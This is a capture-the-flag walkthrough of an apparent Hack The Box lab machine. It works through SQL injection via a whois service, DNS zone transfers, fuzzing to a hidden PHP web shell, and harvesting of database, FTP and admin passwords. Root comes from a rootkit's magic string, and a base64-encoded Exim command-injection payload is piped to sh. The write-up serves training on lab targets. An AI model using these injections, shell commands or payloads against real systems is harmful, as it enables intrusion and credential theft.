COLUMNSGEOMETRY_COLUMNSGEOMETRY_COLUMNSSPATIAL_REF_SYSSPATIAL_REF_SYSSPATI
AL_REF_SYSSPATIAL_REF_SYSCLIENT_STATISTICSCLIENT_STATISTICSCLIENT_STATISTI
CSCLIENT_STATISTICSCLIENT_STATISTICSCLIENT_STATISTICSCLIENT_STATISTICSCLIE
NT_STATISTICSCLIENT_STATISTICSCLIENT_STATISTICSCLIENT_STATISTICSCLIENT_STA
TISTICSCLIENT_STATISTICSCLIENT_STATISTICSCLIENT_STATISTICSCLIENT_STATISTIC
SCLIENT_STATISTICSCLIENT_STATISTICSCLIENT_STATISTICSCLIENT_STATISTICSCLIEN
T_STATISTICSCLIENT_STATISTICSCLIENT_STATISTICSCLIENT_STATISTICSCLIENT_STAT
ISTICSINDEX_STATISTICSINDEX_STATISTICSINDEX_STATISTICSINDEX_STATISTICSINNO
DB_SYS_DATAFILESINNODB_SYS_DATAFILESTABLE_STATISTICSTABLE_STATISTICSTABLE_
STATISTICSTABLE_STATISTICSTABLE_STATISTICSINNODB_SYS_TABLESTATSINNODB_SYS_
TABLESTATSINNODB_SYS_TABLESTATSINNODB_SYS_TABLESTATSINNODB_SYS_TABLESTATSI
NNODB_SYS_TABLESTATSINNODB_SYS_TABLESTATSINNODB_SYS_TABLESTATSINNODB_SYS_T
ABLESTATSUSER_STATISTICSUSER_STATISTICSUSER_STATISTICSUSER_STATISTICSUSER_
STATISTICSUSER_STATISTICSUSER_STATISTICSUSER_STATISTICSUSER_STATISTICSUSER
_STATISTICSUSER_STATISTICSUSER_STATISTICSUSER_STATISTICSUSER_STATISTICSUSE
R_STATISTICSUSER_STATISTICSUSER_STATISTICSUSER_STATISTICSUSER_STATISTICSUS
ER_STATISTICSUSER_STATISTICSUSER_STATISTICSUSER_STATISTICSUSER_STATISTICSU
SER_STATISTICSINNODB_SYS_INDEXESINNODB_SYS_INDEXESINNODB_SYS_INDEXESINNODB
_SYS_INDEXESINNODB_SYS_INDEXESINNODB_SYS_INDEXESINNODB_SYS_INDEXESXTRADB_R
SEGXTRADB_RSEGXTRADB_RSEGXTRADB_RSEGXTRADB_RSEGXTRADB_RSEGINNODB_CMP_PER_I
NDEXINNODB_CMP_PER_INDEXINNODB_CMP_PER_INDEXINNODB_CMP_PER_INDEXINNODB_CMP
_PER_INDEXINNODB_CMP_PER_INDEXINNODB_CMP_PER_INDEXINNODB_CMP_PER_INDEXINNO
DB_TRXINNODB_TRXINNODB_TRXINNODB_TRXINNODB_TRXINNODB_TRXINNODB_TRXINNODB_T
RXINNODB_TRXINNODB_TRXINNODB_TRXINNODB_TRXINNODB_TRXINNODB_TRXINNODB_TRXIN
N
ODB_TRXINNODB_TRXINNODB_TRXINNODB_TRXINNODB_TRXINNODB_TRXINNODB_TRXINNODB_
TRXINNODB_TRXCHANGED_PAGE_BITMAPSINNODB_FT_BEING_DELETEDINNODB_LOCK_WAITSI
NNODB_LOCK_WAITSINNODB_LOCK_WAITSINNODB_LOCK_WAITSINNODB_LOCKSINNODB_LOCKS
INNODB_LOCKSINNODB_LOCKSINNODB_LOCKSINNODB_LOCKSINNODB_LOCKSINNODB_LOCKSIN
NODB_LOCKSINNODB_LOCKSINNODB_TABLESPACES_ENCRYPTIONINNODB_TABLESPACES_ENCR
YPTIONINNODB_TABLESPACES_ENCRYPTIONINNODB_TABLESPACES_ENCRYPTIONINNODB_TAB

LESPACES_ENCRYPTIONINNODB_TABLESPACES_ENCRYPTIONINNODB_TABLESPACES_ENCRYPT
IONINNODB_TABLESPACES_ENCRYPTIONINNODB_TABLESPACES_ENCRYPTIONINNODB_TABLES
PACES_ENCRYPTIONXTRADB_INTERNAL_HASH_TABLESXTRADB_INTERNAL_HASH_TABLESXTRA
DB_INTERNAL_HASH_TABLESXTRADB_INTERNAL_HASH_TABLESINNODB_SYS_FIELDSINNODB_
SYS_FIELDSINNODB_SYS_FIELDSINNODB_CMPMEM_RESETINNODB_CMPMEM_RESETINNODB_CM
PMEM_RESETINNODB_CMPMEM_RESETINNODB_CMPMEM_RESETINNODB_CMPMEM_RESETINNODB_
CMPINNODB_CMPINNODB_CMPINNODB_CMPINNODB_CMPINNODB_CMPINNODB_FT_INDEX_TABLE
INNODB_FT_INDEX_TABLEINNODB_FT_INDEX_TABLEINNODB_FT_INDEX_TABLEINNODB_FT_I
NDEX_TABLEINNODB_FT_INDEX_TABLEINNODB_SYS_TABLESPACESINNODB_SYS_TABLESPACE
SINNODB_SYS_TABLESPACESINNODB_SYS_TABLESPACESINNODB_SYS_TABLESPACESINNODB_
SYS_TABLESPACESINNODB_SYS_TABLESPACESINNODB_MUTEXESINNODB_MUTEXESINNODB_MU
TEXESINNODB_MUTEXESINNODB_BUFFER_PAGE_LRUINNODB_BUFFER_PAGE_LRUINNODB_BUFF
ER_PAGE_LRUINNODB_BUFFER_PAGE_LRUINNODB_BUFFER_PAGE_LRUINNODB_BUFFER_PAGE_
LRUINNODB_BUFFER_PAGE_LRUINNODB_BUFFER_PAGE_LRUINNODB_BUFFER_PAGE_LRUINNOD
B_BUFFER_PAGE_LRUINNODB_BUFFER_PAGE_LRUINNODB_BUFFER_PAGE_LRUINNODB_BUFFER
_PAGE_LRUINNODB_BUFFER_PAGE_LRUINNODB_BUFFER_PAGE_LRUINNODB_BUFFER_PAGE_LR
UINNODB_BUFFER_PAGE_LRUINNODB_BUFFER_PAGE_LRUINNODB_BUFFER_PAGE_LRUINNODB_
BUFFER_PAGE_LRUINNODB_SYS_FOREIGN_COLSINNODB_SYS_FOREIGN_COLSINNODB_SYS_FO
REIGN_COLSINNODB_SYS_FOREIGN_COLSINNODB_CMP_RESETINNODB_CMP_RESETINNODB_CM
P_RESETINNODB_CMP_RESETINNODB_CMP_RESETINNODB_CMP_RESETINNODB_BUFFER_POOL_
STATSINNODB_BUFFER_POOL_STATSINNODB_BUFFER_POOL_STATSINNODB_BUFFER_POOL_ST
A
TSINNODB_BUFFER_POOL_STATSINNODB_BUFFER_POOL_STATSINNODB_BUFFER_POOL_STATS
INNODB_BUFFER_POOL_STATSINNODB_BUFFER_POOL_STATSINNODB_BUFFER_POOL_STATSIN
NODB_BUFFER_POOL_STATSINNODB_BUFFER_POOL_STATSINNODB_BUFFER_POOL_STATSINNO
DB_BUFFER_POOL_STATSINNODB_BUFFER_POOL_STATSINNODB_BUFFER_POOL_STATSINNODB
_BUFFER_POOL_STATSINNODB_BUFFER_POOL_STATSINNODB_BUFFER_POOL_STATSINNODB_B
UFFER_POOL_STATSINNODB_BUFFER_POOL_STATSINNODB_BUFFER_POOL_STATSINNODB_BUF
FER_POOL_STATSINNODB_BUFFER_POOL_STATSINNODB_BUFFER_POOL_STATSINNODB_BUFFE
R_POOL_STATSINNODB_BUFFER_POOL_STATSINNODB_BUFFER_POOL_STATSINNODB_BUFFER_
POOL_STATSINNODB_BUFFER_POOL_STATSINNODB_BUFFER_POOL_STATSINNODB_BUFFER_PO
OL_STATSINNODB_FT_INDEX_CACHEINNODB_FT_INDEX_CACHEINNODB_FT_INDEX_CACHEINN
ODB_FT_INDEX_CACHEINNODB_FT_INDEX_CACHEINNODB_FT_INDEX_CACHEINNODB_SYS_FOR
EIGNINNODB_SYS_FOREIGNINNODB_SYS_FOREIGNINNODB_SYS_FOREIGNINNODB_SYS_FOREI
GNINNODB_METRICSINNODB_METRICSINNODB_METRICSINNODB_METRICSINNODB_METRICSIN
NODB_METRICSINNODB_METRICSINNODB_METRICSINNODB_METRICSINNODB_METRICSINNODB
_METRICSINNODB_METRICSINNODB_METRICSINNODB_METRICSINNODB_METRICSINNODB_MET
RICSINNODB_METRICSINNODB_FT_DEFAULT_STOPWORDINNODB_CMPMEMINNODB_CMPMEMINNO
DB_CMPMEMINNODB_CMPMEMINNODB_CMPMEMINNODB_CMPMEMINNODB_SYS_TABLESINNODB_SY
S_TABLESINNODB_SYS_TABLESINNODB_SYS_TABLESINNODB_SYS_TABLESINNODB_SYS_TABL
ESINNODB_SYS_TABLESINNODB_SYS_TABLESINNODB_SYS_COLUMNSINNODB_SYS_COLUMNSIN
NODB_SYS_COLUMNSINNODB_SYS_COLUMNSINNODB_SYS_COLUMNSINNODB_SYS_COLUMNSINNO
DB_FT_CONFIGINNODB_FT_CONFIGINNODB_BUFFER_PAGEINNODB_BUFFER_PAGEINNODB_BUF

```
FER_PAGEINNODB_BUFFER_PAGEINNODB_BUFFER_PAGEINNODB_BUFFER_PAGEINNODB_BUFFE
R_PAGEINNODB_BUFFER_PAGEINNODB_BUFFER_PAGEINNODB_BUFFER_PAGEINNODB_BUFFER_
PAGEINNODB_BUFFER_PAGEINNODB_BUFFER_PAGEINNODB_BUFFER_PAGEINNODB_BUFFER_PA
GEINNODB_BUFFER_PAGEINNODB_BUFFER_PAGEINNODB_BUFFER_PAGEINNODB_BUFFER_PAGE
INNODB_BUFFER_PAGEINNODB_CMP_PER_INDEX_RESETINNODB_CMP_PER_INDEX_RESETINNO
DB_CMP_PER_INDEX_RESETINNODB_CMP_PER_INDEX_RESETINNODB_CMP_PER_INDEX_RESET
I
NNODB_CMP_PER_INDEX_RESETINNODB_CMP_PER_INDEX_RESETINNODB_CMP_PER_INDEX_RE
SETXTRADB_READ_VIEWXTRADB_READ_VIEWXTRADB_READ_VIEWXTRADB_READ_VIEWINNODB_
SYS_SEMAPHORE_WAITSINNODB_SYS_SEMAPHORE_WAITSINNODB_SYS_SEMAPHORE_WAITSINN
ODB_SYS_SEMAPHORE_WAITSINNODB_SYS_SEMAPHORE_WAITSINNODB_SYS_SEMAPHORE_WAIT
SINNODB_SYS_SEMAPHORE_WAITSINNODB_SYS_SEMAPHORE_WAITSINNODB_SYS_SEMAPHORE_
WAITSINNODB_SYS_SEMAPHORE_WAITSINNODB_SYS_SEMAPHORE_WAITSINNODB_SYS_SEMAPH
ORE_WAITSINNODB_SYS_SEMAPHORE_WAITSINNODB_SYS_SEMAPHORE_WAITSINNODB_SYS_SE
MAPHORE_WAITSINNODB_SYS_SEMAPHORE_WAITSINNODB_SYS_SEMAPHORE_WAITSINNODB_SY
S_SEMAPHORE_WAITSINNODB_SYS_SEMAPHORE_WAITSINNODB_SYS_SEMAPHORE_WAITSINNOD
B_SYS_SEMAPHORE_WAITSINNODB_SYS_SEMAPHORE_WAITSINNODB_CHANGED_PAGESINNODB_
CHANGED_PAGESINNODB_CHANGED_PAGESINNODB_CHANGED_PAGESINNODB_FT_DELETEDINNO
DB_TABLESPACES_SCRUBBINGINNODB_TABLESPACES_SCRUBBINGINNODB_TABLESPACES_SCR
UBBINGINNODB_TABLESPACES_SCRUBBINGINNODB_TABLESPACES_SCRUBBINGINNODB_TABLE
SPACES_SCRUBBINGINNODB_TABLESPACES_SCRUBBINGINNODB_TABLESPACES_SCRUBBINGcu
stomerscustomerscustomers
```

```
root@kali:~/HTB/scavenger# whois -h whois.supersechosting.htb -- "-T whois
10.10.10.155') UNION ALL SELECT ic.Column_Name,1 from
INFORMATION_SCHEMA.COLUMNS ic where ic.Table_Name = 'customers'-- -"
c.Table_Name = 'customers'-- -"
% SUPERSECHOSTING WHOIS server v0.6beta@MariaDB10.1.37
% for more information on SUPERSECHOSTING, visit
http://www.supersechosting.htb
% This query returned 3 object
iddomaindata
```

```
root@kali:~/HTB/scavenger# whois -h whois.supersechosting.htb -- "-T whois
10.10.10.155') UNION ALL SELECT domain,1 from customers-- -"%
SUPERSECHOSTING WHOIS server v0.6beta@MariaDB10.1.37
% for more information on SUPERSECHOSTING, visit
http://www.supersechosting.htb
% This query returned 4 object
supersechosting.htb justanotherblog.htb pwnhats.htb rentahacker.htb
```

- NS1.SUPERSECHOSTING.HTB is the DNS server

- test www. for domains
- from site: email : pwnhats@pwnhats.htb

```
root@kali:~# host -t axfr pwnhats.htb ns1.supersechosting.htb
Trying "pwnhats.htb"
Using domain server:
Name: ns1.supersechosting.htb
Address: 10.10.10.155#53
Aliases:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 49780
;; flags: qr aa ra; QUERY: 1, ANSWER: 7, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;pwnhats.htb.                   IN      AXFR

;; ANSWER SECTION:
pwnhats.htb.            604800  IN      SOA     ns1.supersechosting.htb.
root.supersechosting.htb. 5 604800 86400 2419200 604800
pwnhats.htb.            604800  IN      NS      ns1.supersechosting.htb.
pwnhats.htb.            604800  IN      MX      10 mail1.pwnhats.htb.
pwnhats.htb.            604800  IN      A       10.10.10.155
mail1.pwnhats.htb.      604800  IN      A       10.10.10.155
www.pwnhats.htb.        604800  IN      A       10.10.10.155
pwnhats.htb.            604800  IN      SOA     ns1.supersechosting.htb.
root.supersechosting.htb. 5 604800 86400 2419200 604800

Received 214 bytes from 10.10.10.155#53 in 35 ms


root@kali:~# host -t axfr rentahacker.htb ns1.supersechosting.htb
Trying "rentahacker.htb"
Using domain server:
Name: ns1.supersechosting.htb
Address: 10.10.10.155#53
Aliases:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 10082
;; flags: qr aa ra; QUERY: 1, ANSWER: 8, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;rentahacker.htb.               IN      AXFR
```

```
;; ANSWER SECTION:
rentahacker.htb.        604800  IN      SOA     ns1.supersechosting.htb.
root.supersechosting.htb. 4 604800 86400 2419200 604800
rentahacker.htb.        604800  IN      NS      ns1.supersechosting.htb.
rentahacker.htb.        604800  IN      MX      10 mail1.rentahacker.htb.
rentahacker.htb.        604800  IN      A       10.10.10.155
mail1.rentahacker.htb.  604800  IN      A       10.10.10.155
sec03.rentahacker.htb.  604800  IN      A       10.10.10.155
www.rentahacker.htb.    604800  IN      A       10.10.10.155
rentahacker.htb.        604800  IN      SOA     ns1.supersechosting.htb.
root.supersechosting.htb. 4 604800 86400 2419200 604800

Received 240 bytes from 10.10.10.155#53 in 35 ms
```

- Do DNS transfer

```
root@kali:~# host -t axfr justanotherblog.htb ns1.supersechosting.htb
Trying "justanotherblog.htb"
Using domain server:
Name: ns1.supersechosting.htb
Address: 10.10.10.155#53
Aliases:

;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 39309
;; flags: qr aa ra; QUERY: 1, ANSWER: 7, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;justanotherblog.htb.           IN      AXFR

;; ANSWER SECTION:
justanotherblog.htb.    604800  IN      SOA     ns1.supersechosting.htb.
root.supersechosting.htb. 5 604800 86400 2419200 604800
justanotherblog.htb.    604800  IN      NS      ns1.supersechosting.htb.
justanotherblog.htb.    604800  IN      MX      10
mail1.justanotherblog.htb.
justanotherblog.htb.    604800  IN      A       10.10.10.155
mail1.justanotherblog.htb. 604800 IN    A       10.10.10.155
www.justanotherblog.htb. 604800 IN      A       10.10.10.155
justanotherblog.htb.    604800  IN      SOA     ns1.supersechosting.htb.
root.supersechosting.htb. 5 604800 86400 2419200 604800

Received 222 bytes from 10.10.10.155#53 in 34 ms
```

```
root@kali:~/HTB/scavenger# wfuzz -c -z
file,/usr/share/wordlists/dirb/common.txt --sc 200
http://sec03.rentahacker.htb/FUZZ.php

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work
correctly when fuzzing SSL sites. Check Wfuzz's documentation for more
information.

********************************************************
* Wfuzz 2.4 - The Web Fuzzer                           *
********************************************************

Target: http://sec03.rentahacker.htb/FUZZ.php
Total requests: 4614


ID           Response   Lines    Word     Chars       Payload


000001053:   200        0 L      0 W      0 Ch        "core"
000002347:   200        57 L     339 W    4712 Ch     "login"
000003002:   200        57 L     332 W    4669 Ch     "plugin"
000003621:   200        0 L      0 W      0 Ch        "shell"
000003677:   200        57 L     340 W    4729 Ch     "signup"
000004300:   200        57 L     332 W    4667 Ch     "view"
000004454:   200        57 L     332 W    4667 Ch     "wiki"

Total time: 19.23439
Processed Requests: 4614
Filtered Requests: 4606
Requests/sec.: 239.8827

Found shell.php ... there were hackers before me so.
timeouts on browser. Maybe it needs params.
ok. basically any get param makes it load.
lets assume it wants a command. like php shells usually want.
lets take a cmd that should always return something, and filter out 0byte
results.

root@kali:~/HTB/scavenger# wfuzz --hh 0 -z
file,/usr/share/wordlists/dirb/common.txt
http://sec03.rentahacker.htb/shell.php?FUZZ=whoami
```

```
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work
correctly when fuzzing SSL sites. Check Wfuzz's documentation for more
information.

********************************************************
* Wfuzz 2.4 - The Web Fuzzer                           *
********************************************************

Target: http://sec03.rentahacker.htb/shell.php?FUZZ=whoami
Total requests: 4614


ID           Response   Lines    Word     Chars       Payload


000001893:   200        1 L      1 W      8 Ch        "hidden"
```

- well that was well hidden.

```
root@kali:~/HTB/scavenger# curl http://sec03.rentahacker.htb/shell.php?
hidden=whoami
ib01c03
```

```
root@kali:~/HTB/scavenger# curl http://sec03.rentahacker.htb/shell.php?
hidden=cat%20shell.php
<?php echo passthru($_GET['hidden']); ?>
```

```
- from /home/ib01c03/www/wp-config.php

/ ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'ib01c03');

/** MySQL database username */
define('DB_USER', 'ib01c03');

/** MySQL database password */
define('DB_PASSWORD', 'Thi$sh1tIsN0tGut');

/** MySQL hostname */
define('DB_HOST', 'localhost');
```

```
/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');
```

```
DB credentials
define('AUTH_KEY',         '$sbh#6|kZ,DAg?NH&ed~jPHmK)}6$7juL=K(xg2%
{$ac+nPy(:EST9*|-2G[z|I7');
define('SECURE_AUTH_KEY',  'WzpRn?RYH+2C(Q~,Ub<g|]EBHXV|L5-
a44u%5XAi<5{_PXg_N~LPU9r%vt76Cxwl');
define('LOGGED_IN_KEY',    'tj,NV <[}g6E8).Pn&/nT?
kXRVnndTGpV~cUXUh`B`^Ql_,5Y1*H7A7@n<7-m@3@');
define('NONCE_KEY',        'G-<16dJXM:|!
(;$/1X_iaOld&Wdr2&6*l@>?]Akt>W7{MHz8rq5I_Fj3SJRrx!{_');
define('AUTH_SALT',
'$X$7:sr|~+GzRSonj3a9<o`$<=bt,TEEANIUnK^f$OT%vc{=3lPe@@J!CPB&:AL1');
define('SECURE_AUTH_SALT', 'z61N+-Qz:r`_y`qc9 L3F--
s&Ij]9I*C=M`rvFq:.5A]!dCTIeSF+{;xLyS9,$,c');
define('LOGGED_IN_SALT',   '-|Bs#Y?DM=K#
[`;a$`t*}C[q2$r/wf4L!m:O1@nxi3@Fh|uo:&;,|=dt9PtCbqn/');
define('NONCE_SALT',       '=nTG^pH?/$53{LI_z5aV986X&2qwjaE)Ln[D+$73-
l.qDi8hcQ<,&dWv5b7|cxB]');
```

- WP admin:PBP.urIloNF7HNoSPN2lveguQHw97Wf.
- Check folder no one has checked since the invention of ADSL

```
root@kali:~/HTB/scavenger# curl http://sec03.rentahacker.htb/shell.php -G
--data-urlencode "hidden=cat /var/mail/ib01c03"

From support@ib01.supersechosting.htb Mon Dec 10 21:10:56 2018
Return-path: <support@ib01.supersechosting.htb>
Envelope-to: ib01c03@ib01.supersechosting.htb
Delivery-date: Mon, 10 Dec 2018 21:10:56 +0100
Received: from support by ib01.supersechosting.htb with local (Exim 4.89)
        (envelope-from <support@ib01.supersechosting.htb>)
        id 1gWRtI-0000ZK-8Q
        for ib01c03@ib01.supersechosting.htb; Mon, 10 Dec 2018 21:10:56
+0100
To: <ib01c03@ib01.supersechosting.htb>
Subject: Re: Please help! Site Defaced!
In-Reply-To: Your message of Mon, 10 Dec 2018 21:04:49 +0100
```

```
        <E1gWRnN-0000XA-44@ib01.supersechosting.htb>
References: <E1gWRnN-0000XA-44@ib01.supersechosting.htb>
X-Mailer: mail (GNU Mailutils 3.1.1)
Message-Id: <E1gWRtI-0000ZK-8Q@ib01.supersechosting.htb>
From: support <support@ib01.supersechosting.htb>
Date: Mon, 10 Dec 2018 21:10:56 +0100
X-IMAPbase: 1544472964 2
Status: O
X-UID: 1

Please we need your help. Our site has been defaced!
What we should do now?

rentahacker.htb

Hi, we will check when possible. We are working on another incident right
now. We just make a backup of the apache logs.
Please check if there is any strange file in your web root and upload it
to the ftp server:
ftp.supersechosting.htb
```

- user: ib01ftp
- pass: YhgRt56_Ta
- find incident info
- note says pcap indicates creds
- pcap
- find POST

```
308     80.887653       10.0.2.19       10.0.2.122      HTTP    857
POST /admin530o6uisg/index.php?rand=1542582364810 HTTP/1.1
(application/x-www-form-urlencoded)
ajax=1&token=&controller=AdminLogin&submitLogin=1&passwd=GetYouAH4t%21&ema
il=pwnhats%40pwnhats.htb&redirect=http%3a//www.pwnhats.htb/admin530o6uisg/
%26token%3de44d0ae2213d01986912abc63712a05b
HTML Form URL Encoded: application/x-www-form-urlencoded
Frame 308: 857 bytes on wire (6856 bits), 857 bytes captured (6856 bits)
Ethernet II, Src: PcsCompu_e2:90:db (08:00:27:e2:90:db), Dst:
PcsCompu_2b:09:df (08:00:27:2b:09:df)
Internet Protocol Version 4, Src: 10.0.2.19, Dst: 10.0.2.122
Transmission Control Protocol, Src Port: 44401, Dst Port: 80, Seq: 1, Ack:
1, Len: 791
Hypertext Transfer Protocol
```

```
HTML Form URL Encoded: application/x-www-form-urlencoded
    Form item: "ajax" = "1"
    Form item: "token" = ""
    Form item: "controller" = "AdminLogin"
    Form item: "submitLogin" = "1"
    Form item: "passwd" = "GetYouAH4t!"
    Form item: "email" = "pwnhats@pwnhats.htb"
    Form item: "redirect" =
"http://www.pwnhats.htb/admin530o6uisg/&token=e44d0ae2213d01986912abc63712
a05b"
```

- After trying ALOT of stuff. Try password for the user hosting the website.
  works on ftp. ib01c01
- userflag: 6f8a8a832ea8182fddf1da903dcc804d
- Try to look for the program uploaded by hacker.. saw Makefile and root.c on pcap
  root.c says it does something to with magic word and /dev/ttyR and /dev/ttyR0
- Maybe we write the string there.
- Test the webshell

```
root@kali:~/HTB/scavenger# curl http://sec03.rentahacker.htb/shell.php -G
--data-urlencode "hidden=echo g0tR0ot > /dev/ttyR0"
```

- nothing
- read the source again

```
" data = (char *) kmalloc (len + 1, GFP_KERNEL);

  if (data)
    {
      copy_from_user (data, buf, len);
"
```

- It wants some input... HOW?

```
root@kali:~/HTB/scavenger# curl http://sec03.rentahacker.htb/shell.php -G
--data-urlencode "hidden=echo g0tR0ot > /dev/ttyR0| whoami"
ib01c03
```

- No thats just normal command chaining.
- same with &&
- But im ibi01c03 anyway.... maybe the source is old.

- Lets find the program from ftp.
- login with ib01c01 to ftp
- ls -al
- find ...
- enter
- root.ko
- RE
- find strings :
- g0tR0ot // same as in source
- Pr1vH // dunno
- lets try the Pr1vH
- nope
- keep digging
- nope and nope
- more forensics tools

```
file root.ko
root.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV),
BuildID[sha1]=c59306a28e012d8bc34d45bb3c5f059d9699ea7c, with debug_info,
not stripped
```

- its and ELF
- lets use ELF
- Nothing.
- lets use head (i have no idea what i am doing, but going through forensics tools)
- Nothing
- lets read whole damn file
  `cat root.ko | less`
- fancy little stirng D$^{X}1 < C0 > H < B8 > g0tR0ot^{@} < C7 > D$^Gg3t^@D$^KPr1vH
- g0tr0ot g3t PPr1vH
- lets combine and test
- nope nope nope
- ok, what does the H mean at the end? does not fit. drop it
- nope nope nope
- also the other P
- YES

- g3tPr1v

```
root@kali:~/HTB/scavenger# curl http://sec03.rentahacker.htb/shell.php -G
--data-urlencode "hidden=echo g3tPr1v > /dev/ttyR0 && whoami"
root
```

```
root@kali:~/HTB/scavenger# curl http://sec03.rentahacker.htb/shell.php -G
--data-urlencode "hidden=echo g3tPr1v > /dev/ttyR0 && cat /root/root.txt"
4a08d8174e9ec22b01d91ddb9a732b17
```

SMTP exploit way I saw when looking at other peoples writeups after completing:

```
kali@kali:~/HTB/scavenger$ curl http://sec03.rentahacker.htb/shell.php?
hidden=echo+dG91Y2ggL2Rldi9zaG0vZmxhZzsoc2xlZXAgMC4xIDsgZWNobyBIRUxPIGZvby
A7IHNsZWVwIDAuMSA7IGVjaG8gJ01BSUwgRlJPTTo8PicgOyBzbGVlcCAwLjEgOyBlY2hvICdS
Q1BUIFRPOjwke3J1bntceDJGYmluXHgyRnNoXHgwOS1jXHgwOVx4MjJjYXRceDA5XHgyRnJvb3
RceDJGcm9vdC50eHRceDNFXHgzRVx4MkZkZXZceDJGc2htXHgyRmZsYWdceDIyfX1AbG9jYWxo
b3N0PicgOyBzbGVlcCAwLjEgOyBlY2hvIERBVEEgOyBzbGVlcCAwLjEgOyBlY2hvICJSZWNlaX
ZlZDogMSIgOyBlY2hvICJSZWNlaXZlZDogMiIgO2VjaG8gIlJlY2VpdmVkOiAzIiA7ZWNobyAi
UmVjZWl2ZWQ6IDQiIDtlY2hvICJSZWNlaXZlZDogNSIgO2VjaG8gIlJlY2VpdmVkOiA2IiA7ZW
NobyAiUmVjZWl2ZWQ6IDciIDtlY2hvICJSZWNlaXZlZDogOCIgO2VjaG8gIlJlY2VpdmVkOiA5
IiA7ZWNobyAiUmVjZWl2ZWQ6IDEwIiA7ZWNobyAiUmVjZWl2ZWQ6IDExIiA7ZWNobyAiUmVjZW
l2ZWQ6IDEyIiA7ZWNobyAiUmVjZWl2ZWQ6IDEzIiA7ZWNobyAiUmVjZWl2ZWQ6IDE0IiA7ZWNo
byAiUmVjZWl2ZWQ6IDE1IiA7ZWNobyAiUmVjZWl2ZWQ6IDE2IiA7ZWNobyAiUmVjZWl2ZWQ6ID
E3IiA7ZWNobyAiUmVjZWl2ZWQ6IDE4IiA7ZWNobyAiUmVjZWl2ZWQ6IDE5IiA7ZWNobyAiUmVj
ZWl2ZWQ6IDIwIiA7ZWNobyAiUmVjZWl2ZWQ6IDIxIiA7ZWNobyAiUmVjZWl2ZWQ6IDIyIiA7ZW
NobyAiUmVjZWl2ZWQ6IDIzIiA7ZWNobyAiUmVjZWl2ZWQ6IDI0IiA7ZWNobyAiUmVjZWl2ZWQ6
IDI1IiA7ZWNobyAiUmVjZWl2ZWQ6IDI2IiA7ZWNobyAiUmVjZWl2ZWQ6IDI3IiA7ZWNobyAiUm
VjZWl2ZWQ6IDI4IiA7ZWNobyAiUmVjZWl2ZWQ6IDI5IiA7ZWNobyAiUmVjZWl2ZWQ6IDMwIiA7
ZWNobyAiUmVjZWl2ZWQ6IDMxIiA7ZWNobyAiIiA7IGVjaG8gIi4iIDsgZWNobyBRVUlUKSB8IG
5jIDEyNy4wLjAuMSAyNQ==%7Cbase64+-d%7Csh
220 ib01.supersechosting.htb ESMTP Exim 4.89 Thu, 20 Feb 2020 21:07:39
+0100
250 ib01.supersechosting.htb Hello localhost [127.0.0.1]
250 OK
250 Accepted
354 Enter message, ending with "." on a line by itself
250 OK id=1j4s6l-0001L8-U4
221 ib01.supersechosting.htb closing connection
kali@kali:~/HTB/scavenger$ curl http://sec03.rentahacker.htb/shell.php/?
hidden=cat+/dev/shm/flag
kali@kali:~/HTB/scavenger$
JPTTo8PicgOyBzbGVlcCAwLjEgOyBlY2hvICdSQ1BUIFRPOjwke3J1bntceDJGYmluXHgyRnNo
```

```
XHgwOS1jXHgwOVx4MjJjYXRceDA5XHgyRnJvb3RceDJGcm9vdC50eHRceDNFXHgzRVx4MkZkZX
ZceDJGc2htXHgyRmZsYWdceDIyfX1AbG9jYWxob3N0PicgOyBzbGVlcCAwLjEgOyBlY2hvIERB
VEEgOyBzbGVlcCAwLjEgOyBlY2hvICJSZWNlaXZlZDogMSIgOyBlY2hvICJSZWNlaXZlZDogMi
IgO2VjaG8gIlJlY2VpdmVkOiAzIiA7ZWNobyAiUmVjZWl2ZWQ6IDQiIDtlY2hvICJSZWNlaXZl
ZDogNSIgO2VjaG8gIlJlY2VpdmVkOiA2IiA7ZWNobyAiUmVjZWl2ZWQ6IDciIDtlY2hvICJSZW
NlaXZlZDogOCIgO2VjaG8gIlJlY2VpdmVkOiA5IiA7ZWNobyAiUmVjZWl2ZWQ6IDEwIiA7ZWNo
byAiUmVjZWl2ZWQ6IDExIiA7ZWNobyAiUmVjZWl2ZWQ6IDEyIiA7ZWNobyAiUmVjZWl2ZWQ6IDE
zIiA7ZWNobyAiUmVjZWl2ZWQ6IDE0IiA7ZWNobyAiUmVjZWl2ZWQ6IDE1IiA7ZWNobyAiUmVj
ZWl2ZWQ6IDE2IiA7ZWNobyAiUmVjZWl2ZWQ6IDE3IiA7ZWNobyAiUmVjZWl2ZWQ6IDE4IiA7ZW
NobyAiUmVjZWl2ZWQ6IDE5IiA7ZWNobyAiUmVjZWl2ZWQ6IDIwIiA7ZWNobyAiUmVjZWl2ZWQ6
IDIxIiA7ZWNobyAiUmVjZWl2ZWQ6IDIyIiA7ZWNobyAiUmVjZWl2ZWQ6IDIzIiA7ZWNobyAiUm
VjZWl2ZWQ6IDI0IiA7ZWNobyAiUmVjZWl2ZWQ6IDI1IiA7ZWNobyAiUmVjZWl2ZWQ6IDI2IiA7
ZWNobyAiUmVjZWl2ZWQ6IDI3IiA7ZWNobyAiUmVjZWl2ZWQ6IDI4IiA7ZWNobyAiUmVjZWl2ZW
Q6IDI5IiA7ZWNobyAiUmVjZWl2ZWQ6IDMwIiA7ZWNobyAiUmVjZWl2ZWQ6IDMxIiA7ZWNobyAi
IiA7IGVjaG8gIi4iIDsgZWNobyBRVUlUKSB8IG5jIDEyNy4wLjAuMSAyNQ==^C
kali@kali:~/HTB/scavenger$ ^C
kali@kali:~/HTB/scavenger$ ^C
kali@kali:~/HTB/scavenger$ ^C
kali@kali:~/HTB/scavenger$ curl http://sec03.rentahacker.htb/shell.php?
hidden=cat+/dev/shm/flag
4a08d8174e9ec22b01d91ddb9a732b17
